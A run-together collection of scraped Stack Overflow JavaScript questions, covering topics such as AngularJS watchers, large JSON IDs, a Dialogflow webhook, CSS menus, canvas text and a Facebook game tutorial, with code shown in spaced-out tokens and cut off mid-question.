anyone help me to find difference between these two and suggest what to use in this circumstance . Scope objects : Non-scope objects : $ scope. $ watch ( 'foo ' , fn ) $ scope. $ watch ( function ( ) { return $ scope.foo } , fn ) ; $ scope. $ watchCollection ( 'foo ' , fn ) $ scope. $ watchCollection ( function ( ) { return $ scope.foo } , fn ) ; $ scope. $ watch ( obj.prop , fn ) $ scope. $ watch ( function ( ) { return obj.prop } , fn ) $ scope. $ watchCollection ( obj.prop , fn ) $ scope. $ watchCollection ( function ( ) { return obj.prop } , fn )",Difference between these watch methods in angularJS ? "JS : Javascript represents all numbers as double-precision floating-point . This means it loses precision when dealing with numbers at the very highest end of the 64 bit Java Long datatype -- anything after 17 digits . For example , the number : ... becomes : My database uses long IDs and some happen to be in the danger zone . I could change the offending values in the database , but that 'd be difficult in my application . Instead , right now I rather laboriously ensure the server encodes Long IDs as Strings in all ajax responses.However , I 'd prefer to deal with this in the Javascript . My question : is there a best practice for coercing JSON parsing to treat a number as a string ? 714341252076979033 714341252076979100",Best way to deal with very large Long numbers in Ajax ? "JS : I have a question about webhook connect.I edited usually by inline editor of dialogflow.But now I want to edit in my local.So I did some setting watching two examples.https : //chatbotsmagazine.com/creating-nodejs-webhook-for-dialogflow-2b050f76cd75https : //github.com/dialogflow/fulfillment-temperature-converter-nodejs [ 1 ] I made file , ( 1 ) Users/a/firebase.js ( 2 ) Users/a/functions/index.js ( with package module ) ( 3 ) webhook server by ngrok . ( 4 ) I attached this link 'https : //ngrok~~/webhook ' on dialogflow webhook [ 2 ] firebase.js has [ 3 ] index.js hasAnd server starts locally with ngrok port 3000 . I 've written server.listen in my code.But it seems that it does n't have webhook post in my code.So , in conclusion , when I write 'hello ' in my dialogflow , ngrok gives a 404 not found error . { } 'use strict ' ; const express = require ( 'express ' ) ; const bodyParser = require ( 'body-parser ' ) ; const functions = require ( 'firebase-functions ' ) ; const { WebhookClient } = require ( 'dialogflow-fulfillment ' ) ; const { Card , Suggestion } = require ( 'dialogflow-fulfillment ' ) ; const request = require ( 'request ' ) ; const { dialogflow } = require ( 'actions-on-google ' ) ; const app = dialogflow ( ) ; const admin = require ( 'firebase-admin ' ) ; const server = express ( ) ; //admin.initializeApp ( ) ; process.env.DEBUG = 'dialogflow : debug ' ; exports.dialogflowFirebaseFulfillment = functions.https.onRequest ( ( request , response ) = > { const agent = new WebhookClient ( { request , response } ) ; console.log ( 'Dialogflow Request headers : ' + JSON.stringify ( request.headers ) ) ; console.log ( 'Dialogflow Request body : ' + JSON.stringify ( request.body ) ) ; function hello ( agent ) { agent.add ( ` Welcome to my agent ! ` ) ; } function fallback ( agent ) { agent.add ( ` I did n't understand ` ) ; agent.add ( ` I 'm sorry , can you try again ? ` ) ; } let intentMap = new Map ( ) ; intentMap.set ( 'hello ' , hello ) ; intentMap.set ( 'Default Fallback Intent ' , fallback ) ; agent.handleRequest ( intentMap ) ; } ) ; var port = process.env.PORT || 3000 ; // create serve and configure it . server.get ( '/getName ' , function ( req , res ) { res.send ( 'Swarup Bam ' ) ; } ) ; server.listen ( port , function ( ) { console.log ( `` Server is up and running ... '' ) ; } ) ;",How to connect webhook of my local to dialogflow ? "JS : I have a menubar that has some items , but I want to add a signup/login item that has the same style , but it is aligned on the right and does n't effect the other items in the center . Basically , I have an item called `` Login/Sign Up '' and I would like to have it not effect the other items whatsoever and have it 's own independent class while still being a part of the menubar ... . Any help is greatly appreciated . Thanks ! /*Some Fonts Here : */ @ font-face { font-family : Rusty ; src : url ( 'BrushScriptStd.otf ' ) ; } * { font-family : Rusty ; font-weight : Lighter ; } .background { background-image : url ( 0.jpg ) ; background-attachment : fixed ; background-size : 100 % auto ; background-color : f7f7f7 ; background-repeat : no-repeat ; background-position : center top ; } /*Start of menu code*/.menubar { height : 2.8vw ; opacity : 0.85 ; background-color : # CCCCCC ; } .clearfix : after { display : block ; clear : both ; } .menu-wrap { width : 50 % ; box-shadow : 0px 1px 3px rgba ( 0 , 0 , 0 , 0.2 ) ; background : # 3e3436 ; } .menu { width : 100 % ; margin : 0px auto ; text-align : center ; } .menu li { margin : 0px ; list-style : none ; font-family : 'Ek Mukta ' ; } .menu a { transition : all linear 0.15s ; color : # 919191 ; } .menu li : hover > a , .menu .current-item > a { text-decoration : none ; color : rgba ( 189 , 34 , 34 , 1 ) ; } .menu .arrow { font-size : 0.95vw ; line-height : 0 % ; } .menu > ul > li { float : middle ; display : inline-block ; position : relative ; font-size : 1.2vw ; } .menu > ul > li > a { padding : 0.7vw 5vh ; display : inline-block ; text-shadow : 0px 1px 0px rgba ( 0 , 0 , 0 , 0.4 ) ; } .menu > ul > li : hover > a , .menu > ul > .current-item > a { background : # 2e2728 ; } .menu li : hover .sub-menu { opacity : 1 ; } .sub-menu { z-index : 99999 ; width : 100 % ; padding : 0px 0px ; position : absolute ; top : 100 % ; left : 0px ; opacity : 0 ; transition : opacity linear 0.15s ; box-shadow : 0px 2px 3px rgba ( 0 , 0 , 0 , 0.2 ) ; background : # 2e2728 ; z-index : -5 ; } .sub-menu li { display : block ; font-size : 1.2vw ; } .login { width : 100 % ; margin : 0px relative ; text-align : right ; } .sub-menu li a { padding : 10px 10px ; display : block ; } .sub-menu li a : hover , .sub-menu .current-item a { background : # 3e3436 ; z-index : 99 ; postition : absolute ; } /*End of menu code*/.Rusty { font-family : `` Rusty '' ; color : rgba ( 189 , 34 , 34 , 1 ) ; line-height : 1.2 ; text-align : center ; text-shadow : 0px 13px 21px rgba ( 0 , 0 , 0 , 0.35 ) ; } .content { margin : auto ; width : 80 % ; background-color : # CCCCCC ; padding : 10px ; height : 100 % ; } < html > < head > < link rel= '' stylesheet '' type= '' text/css '' href= '' style.css '' > < link rel= '' stylesheet '' href= '' http : //maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css '' > < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js '' > < /script > < script src= '' http : //maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js '' > < /script > < link rel= '' stylesheet '' href= '' http : //s.ytimg.com/yts/cssbin/www-subscribe-widget-webp-vflj9zwo0.css '' name= '' www-subscribe-widget '' > < meta name= '' viewport '' content= '' width=device-width , initial-scale=1 '' / > < script src= '' script.js '' > < /script > < link rel= '' shortcut icon '' href= '' favicon.ico '' > < title > RG - Home < /title > < /head > < body class= '' background '' > < ! -- Begginning of menubar -- > < div class= '' menubar '' > < nav class= '' menu '' > < ul class= '' clearfix '' > < li > < a href= '' aboutme.html '' > About Me < span class= '' arrow '' > & # 9660 ; < /span > < /a > < ! -- Here is the dropdown menu -- > < ul class= '' sub-menu '' > < li > < a href= '' # '' > Gaming < /a > < /li > < li > < a href= '' # '' > Programming < /a > < /li > < li > < a href= '' # '' > YouTube < /a > < /li > < li > < a href= '' # '' > Other < /a > < /li > < /ul > < ! -- -- -- -- -- -- -- -- -- -- -- - > < /li > < li > < a href= '' schedule.html '' > Schedule < /a > < /li > < li class= '' current-item '' > < a href= '' # '' > < p class= '' rusty '' > RedstoneGaming < /p > < /a > < /li > < li > < a href= '' equipment.html '' > Equipment < /a > < /li > < li > < a href= '' contact.html '' > Contact Me < /a > < /li > < li > < a href= '' login.html '' > Login/Sign Up < /a > < /li > < /ul > < /nav > < /div > < ! -- End of menubar -- > < div class= '' content '' > < div style= '' height : 7vh ; '' align= '' center '' > < h1 style= '' font-size : 3vw ; '' class= '' rusty '' > Colortone | Am I colorblind ? ! | W/Voiceless < /h1 > < iframe style= '' height:300 % ; width : auto ; '' src= '' https : //www.youtube.com/embed/-egJP-2ShRk ? controls=2 align= '' center `` > < /iframe > < /div > < /div > < /body > < /html >",How to create new < li > not affected by SOME css styles "JS : In my react-native app I need to stringify ( serialize ) big objects and not to block js thread - asynchronous api that uses another threads , something like this : Please do n't suggest to wrap JSON.stringify into Promise , it just defers blocking of js thread . JSON.stringifyAsync ( { foo : `` bar '' } ) .then ( x = > console.log ( x ) ) ;",Async stringify ( serialize ) to JSON in javascript "JS : I have an array with names of files as the entities of the array . I wanted to sort this array based on the size of the files.For example , So what I currently have is that I create an object with name of files as key and size of file as the value . Now I am fetching these files from a remote location , so I can get the size of the file from content-length header.Is there a better way to do it ? Will it be possible to do this locally by which I mean read file size and create an object based on that ? var arr= [ 'index.html ' , 'README.md ' , 'index.html ' ] ;",How to sort array in nodejs based on file size ? "JS : When I draw text in canvas , I get ugly spikes , like this : Try it here : http : //jsfiddle.net/48m4B/While for example in photoshop , I get this : The code is just a classic strokeText : If it is n't possible to fix this , is there any workaround ? ctx.font = '20px Arial ' ; ctx.lineWidth = 15 ; ctx.strokeStyle = ' # fff ' ; ctx.strokeText ( 'How to prevent ugly spikes ? ' ) ;",How to prevent ugly spikes in canvas font rendering ? JS : If I have something likein another script.This is in another script is and my code can not load before that script.How can I call the original alert method in my script ? alert = 0 ;,"Call native browser function , even after it has been overridden" "JS : I am working on a small Greasemonkey script to speed up some processes in a vendor 's tool that is written in angularJS.The issue I seem to be facing is that the element is not in the DOM when the script runs : fails because the input field does not seem to be present when ( document ) .ready ( ) runs . There have been a few resources that seem to confirm this.Is there a way that I can wait for Angular to finish before running my script ? I have found references to using : However , this never seems to execute either.I 'm really new to Angular ( I 've only played around with a few short tutorials ) . Any direction is appreciated.Thank you ! $ ( document ) .ready ( function ( ) { var pwEl = $ ( `` input : password '' ) .val ( chance.word ( { length : 8 } ) ; } ; angular.element ( document ) .ready ( function ( ) { console.log ( `` Hi from angular element ready '' ) ; } ) ;",Modify DOM elements in Angular JS in Greasemonkey "JS : I have a Facebook game titled Rails Across Europe . It is written in PHP/MySQL/Facebook Javascript . One of the big features that is lacking in my game is an interactive user tutorial . I have a screencast , but I do n't think it 's helpful enough . I 've noticed that most users who start a game only play one or two turns before giving up . It 's a complicated game and it would greatly benefit from an interactive tutorial.The problem is that I have no clue as to how to create a tutorial like this . The game consists of a map of europe containing european cities , rail lines ( e.g . track ) , and goods supplied by the cities . The player is supposed to build track to connect cities , navigate his trainn along the track , pick up goods in one city , and deliver them to another city which has a demand for the goods , whereupon he will get paid.The game contains many different event handlers for things like building track , moving the train , loading and unloading cargo at cities , among other things.I 'm struggling with how to structure this tutorial so it stays in synch with the user 's actions ( and vice-versa ) and how to determine if the user has taken the correct action that would permit the tutorial to move on to the next step and how to know what the next step is.Here are samples of my front-end js code : var openCargoHolds = 0 ; var cargoHoldsUsed = 0 ; var loadCargoDialog = null ; var isIE = false ; function setBrowserIsIE ( value ) { isIE = value ; } function moveTrainAuto ( ) { //debugger ; //consoleTime ( 'moveTrainAuto ' ) ; consoleLog ( 'moveTrainAuto ' ) ; var ajax = new Ajax ( ) ; ajax.responseType = Ajax.JSON ; //consoleTime ( 'moveTrainAuto : :move-trains-auto ' ) ; ajax.ondone = function ( data ) { //consoleTimeEnd ( 'moveTrainAuto : :move-trains-auto ' ) ; //consoleTimeEnd ( 'moveTrainAuto : :get-track-data ' ) ; //debugger ; var trackColor = ( data.route_owned ) ? ' # FF0 ' : ' # 888 ' ; var trains = [ ] ; trains [ 0 ] = data.train ; removeTrain ( trains ) ; drawTrack ( data.y1 , data.x1 , data.y2 , data.x2 , trackColor , trains ) ; //debugger ; if ( data.code == 'UNLOAD_CARGO ' ) { consoleLog ( 'moveTrainAuto : :unloadCargo ' ) ; //unloadCargo ( ) ; //myEventMoveTrainManual ( null ) ; //continue moving train until final destination is reached moveTrainManual ( ) ; } else if ( data.code == 'MOVE_TRAIN_AUTO ' ) { // || data.code == 'TURN_END ' ) { moveTrainAuto ( ) ; } else if ( data.code == 'TURN_END ' ) { consoleLog ( 'moveTrainAuto : :turnEnd ' ) ; turnEnd ( ) ; } else { /* handle error */ } } ajax.post ( baseURL + '/turn/move-train-auto-track-data ' ) ; //consoleTimeEnd ( 'moveTrainAuto ' ) ; } function moveTrainAutoEvent ( evt ) { //debugger ; //moveTrainAuto ( ) ; //myEventMoveTrainManual ( null , false ) ; moveTrainManual ( ) ; } function moveTrainManual ( ) { //consoleTime ( 'moveTrainManual ' ) ; consoleLog ( 'moveTrainManual ' ) ; //debugger ; state = MOVE_TRAIN_MANUAL ; var ajax = new Ajax ( ) ; ajax.responseType = Ajax.JSON ; if ( ! trainInTransit ) { var actionPrompt = document.getElementById ( 'action-prompt ' ) ; actionPrompt.setInnerXHTML ( ' < span > < div id= '' action-text '' > '+ 'Move Train : Select destination'+ ' < /div > '+ ' < div id= '' action-end '' > '+ ' < form method= '' POST '' > '+ ' < input type= '' button '' value= '' Replace Demands '' id= '' replace-demands-btn '' style= '' width : 130px ; '' / > '+ ' < input type= '' button '' value= '' Upgrade Train '' disabled= '' disabled '' id= '' upgrade-train-btn '' class= '' btn '' / > '+ ' < input type= '' button '' value= '' Build Track '' id= '' build-track-btn '' class= '' btn '' / > '+ ' < input type= '' button '' value= '' Manage Cargo '' id= '' manage-cargo-btn '' class= '' btn '' / > '+ ' < /form > '+ ' < /div > < /span > ' ) ; var actionButton = document.getElementById ( 'build-track-btn ' ) ; actionButton.addEventListener ( 'click ' , moveTrainEventHandler ) ; actionButton = document.getElementById ( 'replace-demands-btn ' ) ; actionButton.addEventListener ( 'click ' , moveTrainEventHandler ) ; actionButton = document.getElementById ( 'upgrade-train-btn ' ) ; actionButton.addEventListener ( 'click ' , moveTrainEventHandler ) ; var loadCargoButton = document.getElementById ( 'manage-cargo-btn ' ) ; loadCargoButton.addEventListener ( 'click ' , moveTrainEventHandler ) ; } else { var actionPrompt = document.getElementById ( 'action-prompt ' ) ; actionPrompt.setInnerXHTML ( ' < span > < div id= '' action-text '' > '+ 'Train in-transit to final destination ... < /div > < /span > ' ) ; } ajax.ondone = function ( data ) { consoleLog ( 'ajax.moveTrainManual ' ) ; if ( data.code == 'TURN_END ' ) { consoleLog ( 'moveTrainManual : :turnEnd ' ) ; turnEnd ( ) ; } else { //debugger ; //myEventMoveTrainManual ( null ) ; } } ajax.post ( baseURL + '/turn/move-train-manual ' ) ; //consoleTimeEnd ( 'moveTrainManual ' ) ; } function unloadCargo ( ) { //debugger ; consoleLog ( 'unloadCargo ' ) ; var actionPrompt = document.getElementById ( 'action-prompt ' ) ; actionPrompt.setTextValue ( 'Unloading cargo ... ' ) ; var ajax = new Ajax ( ) ; ajax.responseType = Ajax.JSON ; ajax.ondone = function ( data ) { //debugger ; if ( data.unloadableCargo.length == 0 ) { consoleLog ( 'unloadableCargo == 0 ' ) ; moveTrainManual ( ) ; //loadCargo ( ) ; } else { consoleLog ( 'unloadable cargo='+dump ( data.unloadableCargo ) ) ; var i = 0 ; var j = 0 ; var ucCount = data.unloadableCargo.length ; for ( i = 0 ; i < ucCount ; i++ ) { var cargoDialog = new Dialog ( ) ; cargoDialog.showChoice ( 'Unload Cargo ' , 'Unload ' + data.unloadableCargo [ i ] .goods_name + ' at ' + data.unloadableCargo [ i ] .city_name + ' for ' + data.unloadableCargo [ i ] .payoff + 'M euros ? ' ) ; cargoDialog.iVal = i ; cargoDialog.onconfirm = function ( ) { //consoleLog ( 'iVal='+this.iVal ) ; //consoleLog ( 'unloadable cargo onconfirm='+dump ( data.unloadableCargo ) ) ; var ajax = new Ajax ( ) ; ajax.responseType = Ajax.JSON ; var param = { `` city_id '' : data.unloadableCargo [ this.iVal ] .city_id , `` goods_id '' : data.unloadableCargo [ this.iVal ] .goods_id , `` payoff '' : data.unloadableCargo [ this.iVal ] .payoff } ; ajax.ondone = function ( demandData ) { refreshDemands ( ) ; // update balance setHtmlBalance ( demandData.balance ) ; if ( demandData.post_to_wall ) { Facebook.streamPublish ( `` , demandData.attachment , demandData.action_links ) ; } ajax.responseType = Ajax.JSON ; //debugger ; ajax.ondone = function ( data ) { if ( ! data.already_won & & data.funds > = data.winning_balance ) { var dialog = new Dialog ( ) .showMessage ( 'Congratulations ! ' , 'You have earned over '+data.winning_balance+ 'M euros . You have won ! You may continue playing or start a new game . ' ) ; dialog.onconfirm = function ( ) { moveTrainManual ( ) ; } } moveTrainManual ( ) ; } ajax.post ( baseURL + '/turn/get-player-stats ' ) ; } ajax.post ( baseURL + `` /turn/do-unload-cargo '' , param ) ; } cargoDialog.oncancel = function ( ) { moveTrainManual ( ) ; } } } } ajax.onerror = function ( ) { var dialog = new Dialog ( ) .showMessage ( 'Request taking too long ' , 'The system is taking too long to process this request . Please try refreshing the page . If this does not work , please Contact Us with a description of your problem . We are sorry for the inconvenience . ' ) ; } ajax.post ( baseURL + '/turn/unload-cargo ' ) ; } function loadCargo ( ) { //consoleLog ( 'Entering loadCargo ( ) ' ) ; var actionPrompt = document.getElementById ( 'action-prompt ' ) ; actionPrompt.setTextValue ( 'Loading cargo ... ' ) ; var ajax = new Ajax ( ) ; ajax.responseType = Ajax.JSON ; ajax.ondone = function ( data ) { //consoleLog ( 'Entering ondone for load-cargo ' ) ; //debugger ; ajax.responseType = Ajax.FBML ; ajax.ondone = function ( fbjsData ) { //consoleLog ( 'Entering ondone for load-cargo-dialog-fbjs ' ) ; //debugger ; if ( data.loadableCargo.length == 0 ) { //consoleLog ( 'Calling moveTrainManual ( ) ' ) ; moveTrainManual ( ) ; } else { //consoleLog ( 'Instantiating loadCargoDialog ' ) ; if ( loadCargoDialog == null ) { loadCargoDialog = new Dialog ( ) ; //if browser is IE , move dialog up 50px to compensate for bug that causes it to shift down the screen if ( isIE ) { //loadCargoDialog.setStyle ( 'position ' , 'relative ' ) ; //loadCargoDialog.setStyle ( 'top ' , '-50px ' ) ; } loadCargoDialog.showChoice ( 'Load Cargo ' , fbjsData , 'Minimize ' , 'Pass ' ) ; } else { if ( isIE ) { //loadCargoDialog.setStyle ( 'position ' , 'relative ' ) ; //loadCargoDialog.setStyle ( 'top ' , '-50px ' ) ; } loadCargoDialog.showChoice ( 'Load Cargo ' , fbjsData , 'Minimize ' , 'Pass ' ) ; } var dlgPrefixString = document.getElementById ( 'dlg-prefix-string ' ) .getValue ( ) ; //var dlgPrefixString = dlgPrefixElem.getValue ( ) ; //consoleLog ( 'Setting dlgBtnNew ' ) ; var dlgBtnNew = document.getElementById ( dlgPrefixString+'-load-new-submit ' ) ; dlgBtnNew.cityId = data.loadableCargo.city_id ; dlgBtnNew.trainId = data.loadableCargo.train_id ; dlgBtnNew.prefixString = dlgPrefixString ; dlgBtnNew.loadCargoDialog = loadCargoDialog ; dlgBtnNew.addEventListener ( 'click ' , cargoEventHandler ) ; //loadNewCargo ) ; //consoleLog ( 'Setting dlgBtnDiscard ' ) ; var dlgBtnDiscard = document.getElementById ( dlgPrefixString+'-discard-existing-submit ' ) ; dlgBtnDiscard.cityId = data.loadableCargo.city_id ; dlgBtnDiscard.trainId = data.loadableCargo.train_id ; dlgBtnDiscard.prefixString = dlgPrefixString ; dlgBtnDiscard.loadCargoDialog = loadCargoDialog ; dlgBtnDiscard.addEventListener ( 'click ' , discardExistingCargo ) ; loadCargoDialog.onconfirm = function ( ) { //consoleLog ( 'Entering loadCargoDialog.onconfirm ' ) ; // Submit the form if it exists , then hide the dialog . loadCargoDialog.hide ( ) ; actionPrompt = document.getElementById ( 'action-prompt ' ) ; actionPrompt.setInnerXHTML ( ' < span > < div id= '' action-text '' > '+ 'The `` Load cargo '' dialog has been minimized'+ ' < /div > '+ ' < div id= '' action-end '' > '+ ' < form action= '' '' method= '' POST '' > '+ ' < input type= '' button '' value= '' Maximize '' id= '' next-phase '' onclick= '' loadCargo ( ) ; '' / > '+ ' < /form > '+ ' < /div > < /span > ' ) ; actionButton = document.getElementById ( 'next-phase ' ) ; actionButton.setValue ( 'Maximize ' ) ; actionButton.addEventListener ( 'click ' , loadCargoEventHandler ) ; //consoleLog ( 'Exiting loadCargoDialog.onconfirm ' ) ; } ; loadCargoDialog.oncancel = function ( ) { //consoleLog ( 'Entering loadCargoDialog.oncancel ' ) ; moveTrainManual ( ) ; //consoleLog ( 'Exiting loadCargoDialog.oncancel ' ) ; } } //consoleLog ( 'Exiting ondone for load-cargo-dialog-fbjs ' ) ; } ajax.onerror = function ( ) { var dialog = new Dialog ( ) .showMessage ( 'Request taking too long ' , 'The system is taking too long to process this request . Please try refreshing the page . If this does not work , please Contact Us with a description of your problem . We are sorry for the inconvenience . ' ) ; } ajax.post ( baseURL + '/turn/load-cargo-dialog-fbjs ' , data ) ; //consoleLog ( 'Exiting ondone for load-cargo ' ) ; } ajax.onerror = function ( ) { var dialog = new Dialog ( ) .showMessage ( 'Request taking too long ' , 'The system is taking too long to process this request . Please try refreshing the page . If this does not work , please Contact Us with a description of your problem . We are sorry for the inconvenience . ' ) ; } ajax.post ( baseURL + '/turn/load-cargo ' ) ; //consoleLog ( 'Exiting loadCargo ' ) ; } function loadCargoEventHandler ( evt ) { if ( evt.type == 'click ' ) { loadCargo ( ) ; } } function trackEventHandler ( evt ) { var x1 = evt.target.x1 ; var x2 = evt.target.x2 ; var y1 = evt.target.y1 ; var y2 = evt.target.y2 ; var cost = evt.target.cost ; var prefixString = evt.target.prefixString ; evt.target.payDialog.hide ( ) ; ajax = new Ajax ( ) ; ajax.responseType = Ajax.JSON ; switch ( evt.target.getId ( ) ) { case prefixString + '-confirm-pay-submit ' : ajax.ondone = function ( ) { var empty = [ ] ; drawTrack ( parseInt ( y1 ) , parseInt ( x1 ) , parseInt ( y2 ) , parseInt ( x2 ) , ' # FF0 ' , empty ) ; //new Dialog ( ) .showMessage ( 'test ' , 'balance='+balance ) ; balance = balance - parseInt ( cost ) ; setHtmlBalance ( balance ) ; saveCityStartElem.setSrc ( publicURL + '/images/city_marker.gif ' ) ; saveCityStartElem = null ; var actionPrompt = document.getElementById ( 'action-prompt ' ) ; var innerHtml = ' < span > < div id= '' action-text '' > Build Track : Select a city where track building should begin < /div > '+ ' < div id= '' action-end '' > '+ ' < form action= '' '' > '+ ' < input type= '' button '' value= '' End Track Building '' id= '' next-phase '' onClick= '' moveTrainAuto ( ) '' / > '+ ' < /form > '+ ' < /div > < /span > ' ; actionPrompt.setInnerXHTML ( innerHtml ) ; var btn = document.getElementById ( 'next-phase ' ) ; btn.addEventListener ( 'click ' , moveTrainAutoEvent ) ; state = TRACK_CITY_START ; } ajax.onerror = function ( ) { new Dialog ( ) .showMessage ( 'Track Building Error ' , 'An error occured while building this track . Please try again . ' ) ; } ajax.post ( baseURL + '/turn/build-track-confirmed ' , { `` europass_used '' : 0 } ) ; break ; case prefixString + '-cancel-pay-submit ' : saveCityStartElem.setSrc ( publicURL + '/images/city_marker.gif ' ) ; saveCityStartElem = null ; var actionPrompt = document.getElementById ( 'action-prompt ' ) ; var innerHtml = ' < span > < div id= '' action-text '' > Build Track : Select a city where track building should begin < /div > '+ ' < div id= '' action-end '' > '+ ' < form action= '' '' > '+ ' < input type= '' button '' value= '' End Track Building '' id= '' next-phase '' onClick= '' moveTrainAuto ( ) '' / > '+ ' < /form > '+ ' < /div > < /span > ' ; actionPrompt.setInnerXHTML ( innerHtml ) ; var btn = document.getElementById ( 'next-phase ' ) ; btn.addEventListener ( 'click ' , moveTrainAutoEvent ) ; state = TRACK_CITY_START ; ajax.post ( baseURL + '/turn/build-track-resume ' ) ; break ; case prefixString + '-europass-pay-submit ' : ajax.ondone = function ( ) { var empty = [ ] ; drawTrack ( parseInt ( y1 ) , parseInt ( x1 ) , parseInt ( y2 ) , parseInt ( x2 ) , ' # FF0 ' , empty ) ; //new Dialog ( ) .showMessage ( 'test ' , 'balance='+balance ) ; saveCityStartElem.setSrc ( publicURL + '/images/city_marker.gif ' ) ; saveCityStartElem = null ; var actionPrompt = document.getElementById ( 'action-prompt ' ) ; var innerHtml = ' < span > < div id= '' action-text '' > Build Track : Select a city where track building should begin < /div > '+ ' < div id= '' action-end '' > '+ ' < form action= '' '' > '+ ' < input type= '' button '' value= '' End Track Building '' id= '' next-phase '' onClick= '' moveTrainAuto ( ) '' / > '+ ' < /form > '+ ' < /div > < /span > ' ; actionPrompt.setInnerXHTML ( innerHtml ) ; var btn = document.getElementById ( 'next-phase ' ) ; btn.addEventListener ( 'click ' , moveTrainAutoEvent ) ; state = TRACK_CITY_START ; } ajax.onerror = function ( ) { new Dialog ( ) .showMessage ( 'Track Building Error ' , 'An error occured while building this track . Please try again . ' ) ; } ajax.post ( baseURL + '/turn/build-track-confirmed ' , { `` europass_used '' : 1 } ) ; break ; } } function cargoEventHandler ( evt ) { //new Dialog ( ) .showMessage ( 'loadNewCargo ' , 'city id='+cityId+ ' , train id='+trainId ) ; //debugger ; var cityId = evt.target.cityId ; var trainId = evt.target.trainId ; var prefixString = evt.target.prefixString ; evt.target.loadCargoDialog.hide ( ) ; switch ( evt.target.getId ( ) ) { case prefixString + '-load-new-submit ' : //debugger ; ajax = new Ajax ( ) ; ajax.responseType = Ajax.JSON ; param = { 'load-cargo-submit ' : `` Load new goods '' , 'city-id ' : cityId , 'train-id ' : trainId } ; ajax.ondone = function ( data ) { openCargoHolds = data.openCargoHolds ; cargoHoldsUsed = 0 ; ajax.responseType = Ajax.FBML ; param = { 'openCargoHolds ' : data.openCargoHolds , 'cityGoods ' : data.cityGoods , 'trainId ' : data.trainId } ; ajax.ondone = function ( fbjsData ) { //debugger ; var dialog = new Dialog ( ) .showChoice ( 'Load Cargo ' , fbjsData , 'Load cargo ' , 'Cancel ' ) ; var numGoods = data.cityGoods.length ; for ( var i = 1 ; i < = numGoods ; i++ ) { var decrementGoodsArrow = document.getElementById ( 'goods-decrement- ' + i ) ; decrementGoodsArrow.addEventListener ( 'click ' , goodsAdjustmentHandler ) ; var incrementGoodsArrow = document.getElementById ( 'goods-increment- ' + i ) ; incrementGoodsArrow.addEventListener ( 'click ' , goodsAdjustmentHandler ) ; } dialog.onconfirm = function ( ) { //debugger ; var goods = [ ] ; var goodsIds = [ ] ; numGoods = document.getElementById ( 'goods-count ' ) .getValue ( ) ; for ( var i = 0 ; i < numGoods ; i++ ) { j = i + 1 ; goods [ i ] = document.getElementById ( 'goods- ' + j ) .getValue ( ) ; goodsIds [ i ] = document.getElementById ( 'goods-id- ' + j ) .getValue ( ) ; } var trainId = document.getElementById ( 'train-id ' ) .getValue ( ) ; param = { `` goods '' : goods , `` goods-id '' : goodsIds , `` train-id '' : trainId } ; ajax.responseType = Ajax.JSON ; ajax.ondone = function ( data ) { loadCargo ( ) ; } ajax.onerror = function ( ) { var dialog = new Dialog ( ) .showMessage ( 'Request taking too long ' , 'The system is taking too long to process this request . Please try refreshing the page . If this does not work , please Contact Us with a description of your problem . We are sorry for the inconvenience . ' ) ; } ajax.post ( baseURL + '/turn/do-load-cargo-new ' , param ) ; //dialog.hide ( ) ; } ; dialog.oncancel = function ( ) { loadCargo ( ) ; } } ajax.post ( baseURL + '/turn/load-cargo-new-dialog-fbjs ' , param ) ; } ajax.post ( baseURL + '/turn/load-cargo-select ' , param ) ; break ; case prefixString + '-discard-existing-submit ' : ajax = new Ajax ( ) ; ajax.responseType = Ajax.JSON ; param = { 'load-cargo-submit ' : `` Discard existing goods '' , 'city-id ' : cityId , 'train-id ' : trainId } ; ajax.ondone = function ( data ) { ajax.responseType = Ajax.FBML ; param = { 'openCargoHolds ' : data.openCargoHolds , 'trainGoods ' : data.trainGoods , 'trainId ' : data.trainId } ; ajax.ondone = function ( fbjsData ) { var dialog = new Dialog ( ) .showChoice ( 'Discard Cargo ' , fbjsData , 'Discard cargo ' , 'Cancel ' ) ; dialog.onconfirm = function ( ) { //debugger ; var goods = [ ] ; var goodsIds = [ ] ; numGoods = document.getElementById ( 'goods-count ' ) .getValue ( ) ; for ( var i = 0 ; i < numGoods ; i++ ) { j = i + 1 ; goods [ i ] = document.getElementById ( 'goods- ' + j ) .getValue ( ) ; goodsIds [ i ] = document.getElementById ( 'goods-id- ' + j ) .getValue ( ) ; } var trainId = document.getElementById ( 'train-id ' ) .getValue ( ) ; param = { `` goods '' : goods , `` goods-id '' : goodsIds , `` train-id '' : trainId } ; ajax.responseType = Ajax.JSON ; ajax.ondone = function ( data ) { loadCargo ( ) ; } ajax.post ( baseURL + '/turn/do-load-cargo-discard ' , param ) ; //dialog.hide ( ) ; } ; dialog.oncancel = function ( ) { loadCargo ( ) ; } } ajax.post ( baseURL + '/turn/load-cargo-discard-dialog-fbjs ' , param ) ; } ajax.post ( baseURL + '/turn/load-cargo-select ' , param ) ; break ; } return true ; }",Creating a Javascript game tutorial "JS : While trying to answer this question , I met a weird behavior ( which is n't the same : his is due to too few iterations , mine to too much ) : HTML : JS : The loop takes few seconds to execute , because of its 3,000,000,000 iterations.Once the button is clicked , what I expected : wait for it ... appearsthe process freezes a little bit because of the loopdary ! appearsWhat actually happened : the process freezes a little bit because of the loopwait for it ... dary ! appears togetherAny idea why such a behavior ? Check by yourself : fiddle . < button id= '' go '' > it will be legend ... < /button > < div id= '' output '' > < /div > var output = document.getElementById ( 'output ' ) ; document.getElementById ( 'go ' ) .onclick = function ( ) { output.textContent += 'wait for it ... ' ; for ( var i=0 ; i < 3000000000 ; i++ ) { var unused = i ; // do n't really care } output.textContent += ' dary ! ' ; } ;","A 3,000,000,000 iterations loop behaves weirdly" "JS : I have referred many examples from jquery and StackOverflow questions . But no where given example for database values to add into autocomplete combobox . That 's the reason I have opened this question here.Please advise why array values are not populating into autocomplete combo box ? Here is my sample codingHTML ( function ( $ ) { $ .widget ( `` custom.combobox '' , { _create : function ( ) { this.wrapper = $ ( `` < span > '' ) .addClass ( `` custom-combobox '' ) .insertAfter ( this.element ) ; this.element.hide ( ) ; this._createAutocomplete ( ) ; this._createShowAllButton ( ) ; } , _createAutocomplete : function ( ) { var selected = this.element.children ( `` : selected '' ) , value = selected.val ( ) ? selected.text ( ) : `` '' ; this.input = $ ( `` < input > '' ) .appendTo ( this.wrapper ) .val ( value ) .attr ( `` title '' , `` '' ) .addClass ( `` custom-combobox-input ui-widget 